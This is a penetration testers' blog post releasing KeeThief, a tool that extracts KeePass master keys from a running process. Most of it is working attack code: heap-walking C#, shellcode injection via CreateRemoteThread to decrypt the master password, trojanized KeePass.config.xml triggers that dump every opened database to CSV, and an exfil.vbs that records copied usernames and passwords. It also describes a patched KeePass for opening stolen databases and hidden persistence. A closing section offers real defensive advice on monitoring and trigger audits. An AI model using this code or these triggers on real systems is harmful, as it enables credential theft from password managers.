KeeThief – A Case Study in Attacking KeePass Part 2

Note: this post and code were co-written with my fellow ATD workmate Lee Christensen (@tifkin_) who developed several of the interesting components of the project.

The other week I published the “A Case Study in Attacking KeePass” post detailing a few notes on how to operationally “attack” KeePass installations. This generated an unexpected amount of responses, most good, but a few negative and dismissive. Some comments centered around the mentality of “if an attacker has code execution on your system you’re screwed already so who cares“. Our counterpoint to this is that protecting your computer from malicious compromise is a very different problem when it’s joined to a domain versus isolated for home use. As professional pentesters/red teamers we’re highly interested in post-exploitation techniques applicable to enterprise environments, which is why we started looking into ways to “attack” KeePass installations in the first place. Our targets are not isolated home users.

Other responses centered around the misconception that you need administrative access to perform most of these actions, that “all of this basically relies on getting the password from a keylogger“, or that the secure desktop setting negates everything mentioned. This post hopes to address all of those points.

Lee and I dove back into KeePass during the few days following the post’s release and came up with an additional approach that a) doesn’t need administrative rights, b) doesn’t require a keylogger, and c) negates the secure desktop protection (assuming the database is unlocked). If the database isn’t opened, see the Persistently Mining KeePass section of this post which details ways to execute this logic whenever KeePass launches.

The Exfiltration Without Malware – KeePass’ Trigger System section shows simple ways to dump all password entries on a database unlock without malware. This method also doesn’t need administrative rights nor a keylogger, and is also indifferent to the secure desktop protection.

Note: this write-up does not cover any ‘vulnerability’ in KeePass or a KeePass database/deployment and we are not claiming that we “broke” KeePass. There’s no CVE here and there’s no universal fix for this type of approach (though we do cover a few mitigation approaches in the Defenses section). We don’t really view this as an attack on KeePass specifically, as memory manipulation key recovery attacks are likely applicable to any other password managers by nature of an attacker operating in the same security context as the program. We’ll emphasize this point throughout the post, which will likely read as a ‘duh’ to many people: if a database is unlocked, the key material likely has to be somewhere in the process space, so we can probably extract it.

Here’s tl;dr :

KeeThief is our open source project that is capable of extracting key material out of the memory of a running KeePass process with an unlocked database, including the plaintext of the master database password. It includes a C# executable/assembly and a .NET version 2.0 compatible, self-contained PowerShell script that works on stock Windows 7+. The project also includes a patched version of KeePass 2.34 that accepts the extracted key material to unlock an exfiltrated database (as seen in the above screenshots) instead of requiring the complete key file and/or Windows user account master keys. The KeeThief project code is live here.

KeeFarce’s Approach

Some of you probably heard of denandz’ awesome KeeFarce project, which made some waves at the end of last year. This approach was a bit of black magic to me when it came out, until Lee explained exactly how it worked and I dove into the source. Here’s how we currently understand the KeeFarce process:

One thing to note here is that in order to invoke methods of .NET objects on the heap of a CLR application, you must be in the same process space as the methods you’re targeting. So if you want to execute a specific KeePass .NET method (e.g. KeePass.DataExchange.Formats.KeePassCsv1x::Export), you must have code executing inside the KeePass.exe process space. Invoking .NET methods is a tall order (but not impossible) for straight shellcode, so the easiest method is to inject a .DLL à la the KeeFarce or Invoke-PSInject approach.

KeePass and Data Protection

I mentioned the Data Protection Application Programming Interface (DPAPI) briefly in the last post. DPAPI gives programmers a simple way to reasonably secure data on disk while a program is executing, where implicit per-user encryption keys are used to protect data “blobs” with minimal additional effort on the programmer’s part. The methods RtlEncryptMemory() and RtlDecryptMemory() can be used to protect data in memory, also with per-user (or per-process, depending on selection options) ephemeral keys being used to encrypt the data.

KeePass stores in-memory master key material as byte arrays using its internal ProtectedBinary class. This class encrypts these arrays by means of the the .NET class System.Security.Cryptography.ProtectedMemory class, which underneath calls the methods RtlEncryptMemory() and RtlDecryptMemory(). For in-memory/same process protection the OptionFlags parameter for these API calls is set to 0 (a.k.a. the “SameProcess” scope) which causes the call to, “Encrypt and decrypt memory in the same process. An application running in a different process will not be able to decrypt the data“. This means that the encrypted master keys can only be decrypted from within the KeePass.exe process*. We’ll come back to this in just a bit.

For the “Windows User Account” setting, KeePass stores a generated secret key as a DPAPI blob on disk at %APPDATA%\KeePass\ProtectedUserKey.bin. This data is encrypted using the user’s DPAPI master key and entropy specific to KeePass (see m_pbEntropy). This data is protected with a “CurrentUser” scope, which is why we were able to recover that key material from disk in the last post.

* That is, unless you write and load a driver which dumps the the per-process encryption keys from the kernel. See this Twitter thread with Benjamin Delpy, the author of Mimikatz.

KeeThief’s Approach

Both KeeThief and KeeFarce make use of “CLR MD”, aka the “Microsoft.Diagnostics.Runtime.dll” assembly released under the MIT license by Microsoft. This is a .NET/CLR process and crash dump introspection library which also allows for the attachment to live processes. It lets you do useful things like walk the heap of a live process for CLR objects and inspect the types/data for each, assuming you have access to the remote space (i.e. meaning same user/integrity level or administrative rights). Microsoft released some good getting started documentation in case anyone’s interested.

So let’s attach to the KeePass.exe process space using CLR MD and walk the heap objects until we find a KeePassLib.PwDatabase object (similar to KeeFarce’s initial approach). This is the currently opened KeePass database:

dt = DataTarget.AttachToProcess(process.Id, 50000); if (dt.ClrVersions.Count == 0) { string err = "CLR is not loaded. Is it Keepass 1.x, perhaps?"; Logger.WriteLine(err); throw new Exception(err); } if (dt.ClrVersions.Count > 1) { Logger.WriteLine("*** Interesting... there are multiple .NET runtimes loaded in KeePass"); } ClrInfo Version = dt.ClrVersions[0]; ClrRuntime Runtime = Version.CreateRuntime(); ClrHeap Heap = Runtime.GetHeap(); if (!Heap.CanWalkHeap) { string err = "Error: Cannot walk the heap!"; Logger.WriteLine(err); throw new Exception(err); } foreach (ulong obj in Heap.EnumerateObjectAddresses()) { ClrType type = Heap.GetObjectType(obj); if (type == null || type.Name != "KeePassLib.PwDatabase") continue; Logger.WriteLine("************ Found a PwDatabase! **********"); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 dt = DataTarget . AttachToProcess ( process . Id , 50000 ) ; if ( dt . ClrVersions . Count == 0 ) { string err = "CLR is not loaded. Is it Keepass 1.x, perhaps?" ; Logger . WriteLine ( err ) ; throw new Exception ( err ) ; } if ( dt . ClrVersions . Count > 1 ) { Logger . WriteLine ( "*** Interesting... there are multiple .NET runtimes loaded in KeePass" ) ; } ClrInfo Version = dt . ClrVersions [ 0 ] ; ClrRuntime Runtime = Version . CreateRuntime ( ) ; ClrHeap Heap = Runtime . GetHeap ( ) ; if ( ! Heap . CanWalkHeap ) { string err = "Error: Cannot walk the heap!" ; Logger . WriteLine ( err ) ; throw new Exception ( err ) ; } foreach ( ulong obj in Heap . EnumerateObjectAddresses ( ) ) { ClrType type = Heap . GetObjectType ( obj ) ; if ( type == null || type . Name != "KeePassLib.PwDatabase" ) continue ; Logger . WriteLine ( "************ Found a PwDatabase! **********" ) ;

Now we can use the GetReferencedObjects() method to enumerate all the objects referenced by the database instances. We’ll first walk all objects looking for a KeePassLib.Serialization.IOConnectionInfo object (this is the open database file). This is so we can extract the opened database path:

// First walk the referenced objects to find the database path foreach (ulong refObj in referencedObjects) { ClrType refObjType = Heap.GetObjectType(refObj); if (refObjType.Name == "KeePassLib.Serialization.IOConnectionInfo") { ClrInstanceField UrlField = refObjType.GetFieldByName("m_strUrl"); ulong UrlFieldAddr = UrlField.GetAddress(refObj); object Url = UrlField.GetValue(UrlFieldAddr, true); databaseLocation = (string)Url; } } 1 2 3 4 5 6 7 8 9 10 11 12 // First walk the referenced objects to find the database path foreach ( ulong refObj in referencedObjects ) { ClrType refObjType = Heap . GetObjectType ( refObj ) ; if ( refObjType . Name == "KeePassLib.Serialization.IOConnectionInfo" ) { ClrInstanceField UrlField = refObjType . GetFieldByName ( "m_strUrl" ) ; ulong UrlFieldAddr = UrlField . GetAddress ( refObj ) ; object Url = UrlField . GetValue ( UrlFieldAddr , true ) ; databaseLocation = ( string ) Url ; } }

Then we walk all referenced objects again, searching for any KeePassLib.Keys.KcpPassword, KeePassLib.Keys.KcpKeyFile, or KeePassLib.Keys.KcpUserAccount objects that are a part of a KeePassLib.Keys.CompositeKey. These objects are internal to KeePass and contain the protected data blobs for passwords, key files, and user account protections, respectively:

referencedObjects = ClrMDHelper.GetReferencedObjects(Heap, obj); // now walk the referenced objects looking for a master composite key foreach (ulong refObj in referencedObjects) { ClrType refObjType = Heap.GetObjectType(refObj); if (refObjType.Name == "KeePassLib.Keys.CompositeKey") { Logger.WriteLine("************ Found a CompositeKey! **********"); CompositeKeyInfo CompositeKey = new CompositeKeyInfo(); // Get all objects kept alive by the composite key. // (A shortcut to get references to all Key types) List<ulong> referencedObjects2 = ClrMDHelper.GetReferencedObjects(Heap, refObj); foreach (ulong refObj2 in referencedObjects2) { ClrType refObjType2 = Heap.GetObjectType(refObj2); if (refObjType2.Name == "KeePassLib.Keys.KcpPassword") { KcpPassword KcpPassword = GetKcpPasswordInfo(refObj2, refObjType2, Heap, databaseLocation); if (KcpPassword == null) continue; CompositeKey.AddUserKey(KcpPassword); } else if (refObjType2.Name == "KeePassLib.Keys.KcpKeyFile") { KcpKeyFile KcpKeyFile = GetKcpKeyFileInfo(refObj2, refObjType2, Heap, databaseLocation); if (KcpKeyFile == null) continue; CompositeKey.AddUserKey(KcpKeyFile); } else if (refObjType2.Name == "KeePassLib.Keys.KcpUserAccount") { KcpUserAccount KcpUserAccount = GetKcpUserAccountInfo(refObj2, refObjType2, Heap, databaseLocation); if (KcpUserAccount == null) continue; CompositeKey.AddUserKey(KcpUserAccount); } } if (CompositeKey.UserKeyCount > 0) keyInfo.Add(CompositeKey); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 referencedObjects = ClrMDHelper . GetReferencedObjects ( Heap , obj ) ; // now walk the referenced objects looking for a master composite key foreach ( ulong refObj in referencedObjects ) { ClrType refObjType = Heap . GetObjectType ( refObj ) ; if ( refObjType . Name == "KeePassLib.Keys.CompositeKey" ) { Logger . WriteLine ( "************ Found a CompositeKey! **********" ) ; CompositeKeyInfo CompositeKey = new CompositeKeyInfo ( ) ; // Get all objects kept alive by the composite key. // (A shortcut to get references to all Key types) List < ulong > referencedObjects2 = ClrMDHelper . GetReferencedObjects ( Heap , refObj ) ; foreach ( ulong refObj2 in referencedObjects2 ) { ClrType refObjType2 = Heap . GetObjectType ( refObj2 ) ; if ( refObjType2 . Name == "KeePassLib.Keys.KcpPassword" ) { KcpPassword KcpPassword = GetKcpPasswordInfo ( refObj2 , refObjType2 , Heap , databaseLocation ) ; if ( KcpPassword == null ) continue ; CompositeKey . AddUserKey ( KcpPassword ) ; } else if ( refObjType2 . Name == "KeePassLib.Keys.KcpKeyFile" ) { KcpKeyFile KcpKeyFile = GetKcpKeyFileInfo ( refObj2 , refObjType2 , Heap , databaseLocation ) ; if ( KcpKeyFile == null ) continue ; CompositeKey . AddUserKey ( KcpKeyFile ) ; } else if ( refObjType2 . Name == "KeePassLib.Keys.KcpUserAccount" ) { KcpUserAccount KcpUserAccount = GetKcpUserAccountInfo ( refObj2 , refObjType2 , Heap , databaseLocation ) ; if ( KcpUserAccount == null ) continue ; CompositeKey . AddUserKey ( KcpUserAccount ) ; } } if ( CompositeKey . UserKeyCount > 0 ) keyInfo . Add ( CompositeKey ) ; }

For each key object type, we enumerate the ProtectedBinary object associated with the key and ultimately pull out the protected “m_pbData” blobs which hold the in-memory protected byte arrays:

public static KcpPassword GetKcpPasswordInfo(ulong KcpPasswordAddr, ClrType KcpPasswordType, ClrHeap Heap, string databaseLocation) { KcpPassword PasswordInfo = new KcpPassword(); // Protected String ClrInstanceField KcpProtectedStringField = KcpPasswordType.GetFieldByName("m_psPassword"); ulong KcpProtectedStringAddr = KcpProtectedStringField.GetAddress(KcpPasswordAddr); ulong KcpProtectedStringObjAddr = (ulong)KcpProtectedStringField.GetValue(KcpPasswordAddr); // Get the embedded ProtectedBinary ClrInstanceField KcpProtectedBinaryField = KcpProtectedStringField.Type.GetFieldByName("m_pbUtf8"); ulong KcpProtectedBinaryAddr = KcpProtectedBinaryField.GetAddress(KcpProtectedStringObjAddr); ulong KcpProtectedBinaryObjAddr = (ulong)KcpProtectedBinaryField.GetValue(KcpProtectedStringObjAddr); ClrInstanceField EncDataField = KcpProtectedBinaryField.Type.GetFieldByName("m_pbData"); ulong EncDataAddr = EncDataField.GetAddress(KcpProtectedBinaryObjAddr); ulong EncDataArrayAddr = (ulong)EncDataField.GetValue(KcpProtectedBinaryObjAddr); ClrType EncDataArrayType = Heap.GetObjectType(EncDataArrayAddr); int len = EncDataField.Type.GetArrayLength(EncDataArrayAddr); if (len <= 0 || len % 16 != 0) // Small sanity check to make sure everything's ok return null; byte[] EncData = new byte[len]; for (int i = 0; i < len; i++) { EncData[i] = (byte)EncDataArrayType.GetArrayElementValue(EncDataArrayAddr, i); } PasswordInfo.databaseLocation = databaseLocation; PasswordInfo.encryptedBlob = EncData; PasswordInfo.encryptedBlobAddress = (IntPtr)KcpPasswordType.GetArrayElementAddress(EncDataArrayAddr, 0); PasswordInfo.encryptedBlobLen = len; return PasswordInfo; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static KcpPassword GetKcpPasswordInfo ( ulong KcpPasswordAddr , ClrType KcpPasswordType , ClrHeap Heap , string databaseLocation ) { KcpPassword PasswordInfo = new KcpPassword ( ) ; // Protected String ClrInstanceField KcpProtectedStringField = KcpPasswordType . GetFieldByName ( "m_psPassword" ) ; ulong KcpProtectedStringAddr = KcpProtectedStringField . GetAddress ( KcpPasswordAddr ) ; ulong KcpProtectedStringObjAddr = ( ulong ) KcpProtectedStringField . GetValue ( KcpPasswordAddr ) ; // Get the embedded ProtectedBinary ClrInstanceField KcpProtectedBinaryField = KcpProtectedStringField . Type . GetFieldByName ( "m_pbUtf8" ) ; ulong KcpProtectedBinaryAddr = KcpProtectedBinaryField . GetAddress ( KcpProtectedStringObjAddr ) ; ulong KcpProtectedBinaryObjAddr = ( ulong ) KcpProtectedBinaryField . GetValue ( KcpProtectedStringObjAddr ) ; ClrInstanceField EncDataField = KcpProtectedBinaryField . Type . GetFieldByName ( "m_pbData" ) ; ulong EncDataAddr = EncDataField . GetAddress ( KcpProtectedBinaryObjAddr ) ; ulong EncDataArrayAddr = ( ulong ) EncDataField . GetValue ( KcpProtectedBinaryObjAddr ) ; ClrType EncDataArrayType = Heap . GetObjectType ( EncDataArrayAddr ) ; int len = EncDataField . Type . GetArrayLength ( EncDataArrayAddr ) ; if ( len <= 0 || len % 16 != 0 ) // Small sanity check to make sure everything's ok return null ; byte [ ] EncData = new byte [ len ] ; for ( int i = 0 ; i < len ; i ++ ) { EncData [ i ] = ( byte ) EncDataArrayType . GetArrayElementValue ( EncDataArrayAddr , i ) ; } PasswordInfo . databaseLocation = databaseLocation ; PasswordInfo . encryptedBlob = EncData ; PasswordInfo . encryptedBlobAddress = ( IntPtr ) KcpPasswordType . GetArrayElementAddress ( EncDataArrayAddr , 0 ) ; PasswordInfo . encryptedBlobLen = len ; return PasswordInfo ; }

Here we hit a small roadblock. Since the binary blobs are protected with the “SameProcess” flag for RtlEncryptMemory(), we can’t just decrypt the data (since we’re not in the same process). The answer that Lee came up with is some simple shellcode that calls RtlDecryptMemory() to decrypt a specified encrypted blob. We can inject this into the running KeePass.exe process to ride on top of the per-process encryption keys, retrieving the result after decryption. This injection only requires permission to modify the KeePass process space (which the current user running KeePass.exe has); it doesn’t require administrative rights.

public static void ExtractKeyInfo(IUserKey key, IntPtr ProcessHandle, bool DecryptKeys) { if (!DecryptKeys) { Logger.WriteLine(key); } else { IntPtr EncryptedBlobAddr = Win32.AllocateRemoteBuffer(ProcessHandle, key.encryptedBlob); byte[] Shellcode = GenerateDecryptionShellCode(EncryptedBlobAddr, key.encryptedBlob.Length); // Execute the ShellCode IntPtr ShellcodeAddr = Win32.AllocateRemoteBuffer(ProcessHandle, Shellcode); IntPtr ThreadId = IntPtr.Zero; IntPtr RemoteThreadHandle = Win32.CreateRemoteThread(ProcessHandle, IntPtr.Zero, 0, ShellcodeAddr, IntPtr.Zero, 0, out ThreadId); if (RemoteThreadHandle == IntPtr.Zero) { Logger.WriteLine("Error: Could not create a thread for the shellcode"); return; } // Read plaintext password! Thread.Sleep(1000); IntPtr NumBytes; byte[] plaintextBytes = new byte[key.encryptedBlob.Length]; int res = Win32.ReadProcessMemory(ProcessHandle, EncryptedBlobAddr, plaintextBytes, plaintextBytes.Length, out NumBytes); if (res != 0 && NumBytes.ToInt64() == plaintextBytes.Length) { key.plaintextBlob = plaintextBytes; Logger.WriteLine(key); } } } public static byte[] GenerateDecryptionShellCode(IntPtr EncryptedBlobAddr, int EncryptBlobLen) { byte[] shellcode32 = { 0x83, 0xEC, 0x10, ..... }; byte[] shellcode64 = { 0xE9, 0x9B, 0x01, ..... }; byte[] shellcode = null; if (IntPtr.Size == 4) shellcode = shellcode32; else shellcode = shellcode64; int PasswordAddrOffset = shellcode.IndexOfSequence(new byte[] { 0x41, 0x41, 0x41, 0x41 }, 0); if (PasswordAddrOffset != -1) Array.Copy(BitConverter.GetBytes((ulong)EncryptedBlobAddr), 0, shellcode, PasswordAddrOffset, 4); else throw new Exception("Could not find address marker in shellcode"); int PasswordLenOffset = shellcode.IndexOfSequence(new byte[] { 0x42, 0x42, 0x42, 0x42 }, 0); if (PasswordLenOffset != -1) { Array.Copy(BitConverter.GetBytes(EncryptBlobLen), 0, shellcode, PasswordLenOffset, 4); } return shellcode; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public static void ExtractKeyInfo ( IUserKey key , IntPtr ProcessHandle , bool DecryptKeys ) { if ( ! DecryptKeys ) { Logger . WriteLine ( key ) ; } else { IntPtr EncryptedBlobAddr = Win32 . AllocateRemoteBuffer ( ProcessHandle , key . encryptedBlob ) ; byte [ ] Shellcode = GenerateDecryptionShellCode ( EncryptedBlobAddr , key . encryptedBlob . Length ) ; // Execute the ShellCode IntPtr ShellcodeAddr = Win32 . AllocateRemoteBuffer ( ProcessHandle , Shellcode ) ; IntPtr ThreadId = IntPtr . Zero ; IntPtr RemoteThreadHandle = Win32 . CreateRemoteThread ( ProcessHandle , IntPtr . Zero , 0 , ShellcodeAddr , IntPtr . Zero , 0 , out ThreadId ) ; if ( RemoteThreadHandle == IntPtr . Zero ) { Logger . WriteLine ( "Error: Could not create a thread for the shellcode" ) ; return ; } // Read plaintext password! Thread . Sleep ( 1000 ) ; IntPtr NumBytes ; byte [ ] plaintextBytes = new byte [ key . encryptedBlob . Length ] ; int res = Win32 . ReadProcessMemory ( ProcessHandle , EncryptedBlobAddr , plaintextBytes , plaintextBytes . Length , out NumBytes ) ; if ( res != 0 && NumBytes . ToInt64 ( ) == plaintextBytes . Length ) { key . plaintextBlob = plaintextBytes ; Logger . WriteLine ( key ) ; } } } public static byte [ ] GenerateDecryptionShellCode ( IntPtr EncryptedBlobAddr , int EncryptBlobLen ) { byte [ ] shellcode32 = { 0x83 , 0xEC , 0x10 , . . . . . } ; byte [ ] shellcode64 = { 0xE9 , 0x9B , 0x01 , . . . . . } ; byte [ ] shellcode = null ; if ( IntPtr . Size == 4 ) shellcode = shellcode32 ; else shellcode = shellcode64 ; int PasswordAddrOffset = shellcode . IndexOfSequence ( new byte [ ] { 0x41 , 0x41 , 0x41 , 0x41 } , 0 ) ; if ( PasswordAddrOffset != - 1 ) Array . Copy ( BitConverter . GetBytes ( ( ulong ) EncryptedBlobAddr ) , 0 , shellcode , PasswordAddrOffset , 4 ) ; else throw new Exception ( "Could not find address marker in shellcode" ) ; int PasswordLenOffset = shellcode . IndexOfSequence ( new byte [ ] { 0x42 , 0x42 , 0x42 , 0x42 } , 0 ) ; if ( PasswordLenOffset != - 1 ) { Array . Copy ( BitConverter . GetBytes ( EncryptBlobLen ) , 0 , shellcode , PasswordLenOffset , 4 ) ; } return shellcode ; }

Since neither Lee nor I are shellcode experts, he used Matt Graeber‘s PIC_Bindshell project. This code (written in C) and Matt’s guidance on the subject greatly simplifies writing position-independent shellcode, and Lee was able to build x86/x64 shellcode that calls RtlDecryptMemory() on the encrypted data. The shellcode used by KeeThief is located in the ./DecryptionShellcode/ folder.

Since we can compile this project as a single self-contained C# binary we aren’t restricted to running a binary on disk, as .NET provides the [System.Reflection.Assembly]::Load(byte[] rawAssembly) static method which will load a .NET EXE/DLL into memory. Matt talked about this previously in his 2012 “In-Memory Managed Dll Loading With PowerShell” post. We used the the Out-CompressedDll PowerSploit function mentioned in the post to compress the resulting KeeThief assembly and load it in memory in a PowerShell script, invoking the GetKeePassMasterKeys() method.

Here’s the end result of the Get-KeePassDatabaseKey function with the decrypted plaintext key material for a running KeePass.exe process (on a stock Windows 7 machine):

Now we have the issue of how to reuse this plaintext data to open an exfiltrated database on another system. Luckily for us KeePass is open source and GPL’ed, so we can modify the source code to manually specify our extracted key material. If we modify the constructors of the KcpKeyFile.cs and KcpUserAccount.cs files to accept raw bytes of the unprotected key material, as well as some of the front-end UI forms (KeePromptForm.cs, KeePromptForm.Designer.cs) we can get the result that was seen in the initial screenshots. The “Base64 Key File” and “Base64 WUA” are the base64-encoded representations of the “plaintext” binary key material recovered by Get-KeePassDatabaseKey above.

This patched KeePass version is located in the ./KeePass-2.34-Source-Patched/ folder.

Also, since we’re not relying upon a keylogger to extract the master password, KeePass’ Secure Desktop feature (which prompts for the input of credentials in a high-integrity context similar to UAC) doesn’t come into play. If the database is unlocked, the key material likely has to be somewhere in the process space, so we can probably extract it.

KeeThief vs. KeeFarce

So why use KeeThief over KeeFarce?

KeeThief will decrypt the plaintext of the master database password, which could prove useful if reused. KeeThief is also built as a fully self-contained .NET assembly (instead of multiple files that are required to be on disk), so we can also load and execute it in a PowerShell script without touching disk. This is something KeeFarce is definitely capable of as well with a bit of refactoring, but the process will be more complex as it includes more unmanaged code, and a reflective DLL would likely need to be used. KeeFarce also uses the current public version of CLR MD, which by default is only compatible with .NET 4.0; this means that it won’t work with the stock PowerShell 2.0 installation on Windows 7, as powershell.exe is built against version 2.0 by default. Lee customized CLR MD to allow for compatibility with the 2.0 .NET CLR so KeeThief will work out of the box on stock Windows 7 installations.

The downside is that KeeThief will not (yet) pull out all passwords contained in the currently opened database as KeeFarce does. You will need to run the key extraction and also download the target KeePass database.

Persistently Mining KeePass

“But wait, this requires the database to be unlocked right? I have autolock settings and only open my database for a few minutes at a time, so I’m safe.“

Yes, agreed, the database must be unlocked in order to walk the proper objects on the KeePass heap. But admins who use KeePass tend to actually use KeePass at some point, so let’s think of a way to trigger out key extraction logic at the right moment.

The easiest method is to leave a hidden PowerShell script running that loops on an interval, enumerating any KeePass processes for key material and exiting once results are found. Note that this doesn’t require administrative rights, if we do happen to have admin rights on a target domain user’s machine (which isn’t unlikely in a real engagement unless this machine is the initial pivot) we can use WMI subscriptions similar to the first post to fire off the KeeThief logic. These are exercises left to the reader, but we can confirm that a proof-of-concept works.

Exfiltration Without Malware – KeePass’ Trigger System

If your only goal is to extract the password entries for any opened database, there’s an even easier way that doesn’t involve heap enumeration or code injection.

Lee noticed KeePass 2.X’s extensive “trigger” framework, which lets you execute specific actions when certain KeePass events occur. The most interesting events for us are “Opened database file” which fires after a database file has been opened successfully, and “Copied entry data to clipboard” which will fire whenever usernames/passwords are copied to the clipboard. Two interesting actions are “Execute command line / URL”, which can execute shell commands, and “Export active database”, which can export the currently active database to a specified location. If we have write access to the KeePass.config.xml file linked to the currently running KeePass installation, we can trojanize the configuration XML to either launch KeeThief on database unlock (through the command line trigger) or export the database à la KeeFarce. Remember that KeePass.config.xml is located in the same directory as a portable KeePass.exe instance or at %APPDATA%\KeePass\KeePass.config.xml for an installed instance. You can use Find-KeePassconfig to enumerate all config locations.

For example, if you add the following to a KeePass.config.xml it will dump each opened database to C:\Temp\<database_name>.csv, regardless of additional key files/user account mixins (this is actually an example from KeePass):

<TriggerSystem> <Triggers> <Trigger> <Guid>/N3TZZT7nUyA9HdvwKgcig==</Guid> <Name>dumpty dump dump</Name> <Events> <Event> <TypeGuid>5f8TBoW4QYm5BvaeKztApw==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid> <Parameters> <Parameter>C:\Temp\{DB_BASENAME}.csv</Parameter> <Parameter>KeePass CSV (1.x)</Parameter> <Parameter /> <Parameter /> </Parameters> </Action> </Actions> </Trigger> </Triggers> </TriggerSystem> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 < TriggerSystem > < Triggers > < Trigger > < Guid > / N3TZZT7nUyA9HdvwKgcig == < / Guid > < Name > dumpty dump dump < / Name > < Events > < Event > < TypeGuid > 5f8TBoW4QYm5BvaeKztApw == < / TypeGuid > < Parameters > < Parameter > 0 < / Parameter > < Parameter / > < / Parameters > < / Event > < / Events > < Conditions / > < Actions > < Action > < TypeGuid > D5prW87VRr65NO2xP5RIIg == < / TypeGuid > < Parameters > < Parameter > C : \ Temp \ { DB_BASENAME } . csv < / Parameter > < Parameter > KeePass CSV ( 1.x ) < / Parameter > < Parameter / > < Parameter / > < / Parameters > < / Action > < / Actions > < / Trigger > < / Triggers > < / TriggerSystem >

The “Export active database” action also accepts \\UNC paths as well as URLs, so you could build a trigger that exfiltrates a .csv export of any database to a capture site as soon as it’s opened.

The “Copied entry data to clipboard” event is great as well when paired with the “Execute command line / URL” action. In order to prevent a window from showing to the user (as it would if we launched powershell.exe or cmd.exe) let’s call C:\Windows\System32\wscript.exe to trigger a .vbs file stored on disk that will handle the local storage (or remote exfiltration) of any credential entry that’s copied to the clipboard. Here’s the exfil.vbs file and the XML trigger configuration:

exfil.vbs ' Store the arguments in a variable: Set objArgs = Wscript.Arguments ' Open the specified file for writing Dim oFS : Set oFS = CreateObject("Scripting.FileSystemObject") Dim objFile : Set objFile = oFS.OpenTextFile("C:\Temp\exfil.txt", 8, True) ' Iterate through each argument For Each strArg in objArgs objFile.Write strArg & "," Next objFile.Write vbCrLf objFile.Close 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ' Store the arguments in a variable: Set objArgs = Wscript . Arguments ' Open the specified file for writing Dim oFS : Set oFS = CreateObject ( "Scripting.FileSystemObject" ) Dim objFile : Set objFile = oFS . OpenTextFile ( "C:\Temp\exfil.txt" , 8 , True ) ' Iterate through each argument For Each strArg in objArgs objFile . Write strArg & "," Next objFile . Write vbCrLf objFile . Close

<TriggerSystem> <Triggers> <Trigger> <Guid>/N3TZZT7nUyA9HdvwKgcig==</Guid> <Name>dumpty dump dump</Name> <Events> <Event> <TypeGuid>P35exipUTFiVRIX78m9W3A==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> <Parameters> <Parameter>C:\Windows\System32\wscript.exe</Parameter> <Parameter>C:\Temp\exfil.vbs "{TITLE}" "{URL}" "{USERNAME}" "{PASSWORD}" "{NOTES}"</Parameter> <Parameter>False</Parameter> </Parameters> </Action> </Actions> </Trigger> </Triggers> </TriggerSystem> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 < TriggerSystem > < Triggers > < Trigger > < Guid > / N3TZZT7nUyA9HdvwKgcig == < / Guid > < Name > dumpty dump dump < / Name > < Events > < Event > < TypeGuid > P35exipUTFiVRIX78m9W3A == < / TypeGuid > < Parameters > < Parameter > 0 < / Parameter > < Parameter / > < / Parameters > < / Event > < / Events > < Conditions / > < Actions > < Action > < TypeGuid > 2uX4OwcwTBOe7y66y27kxw == < / TypeGuid > < Parameters > < Parameter > C : \ Windows \ System32 \ wscript . exe < / Parameter > < Parameter > C : \ Temp \ exfil . vbs "{TITLE}" "{URL}" "{USERNAME}" "{PASSWORD}" "{NOTES}" < / Parameter > < Parameter > False < / Parameter > < / Parameters > < / Action > < / Actions > < / Trigger > < / Triggers > < / TriggerSystem >

Defenses

Both KeeThief and KeeFarce require injecting code into KeePass.exe. This is something that some defensive solutions can catch, as it mirrors other typical shellcode injection processes. The best thing you can do is use a host-based monitoring system and monitor for cross-process interactions with KeePass (opening process handles, allocating/reading/writing memory, and creating remote threads). For example, this could be accomplished (for free!) using Sysmon and Windows Event Forwarding to monitor for abnormal CreateRemoteThread events (Event ID 8) with KeePass.exe as the TargetImage, as well as monitoring the forthcoming ProcessOpen event. Several EDR systems (e.g. CarbonBlack) also have detection capabilities for cross-process interaction.

There’s not really a good protection against KeePass.config.xml modification. As KeePass states, “If you use the KeePass installer and install the program with administrator rights, the program directory will be write-protected when working as a normal/limited user. KeePass will use local configuration files, i.e. save and load the configuration from a file in your user directory“. This means that whether a user is using a portable or installed instance, an attacker within that user’s context will almost certainly have the ability to insert malicious triggers. You could try to modify the ACLs of the KeePass.config.xmls to remove all write access once you have the settings you want saved, but if the current user is a local administrator this ultimately wouldn’t be a complete fix. From a defensive standpoint, it would be a good idea to inventory all user KeePass.config.xmls and examine them for malicious triggers. The ./PowerShell/KeePassConfig.ps1 file has methods to do this: Find-KeePassConfig | Get-KeePassConfigTrigger.

In addition to host based monitoring, if you enroll KeePass.exe in Microsoft’s awesome Enhanced Mitigation Experience Toolkit (EMET) it will detect the shellcode injection through its EAF mitigation and create a log entry. The bad news is that we still get the key material, so if you see something like the following we’d recommend starting incident response procedures and rolling passwords for accounts in any opened databases:

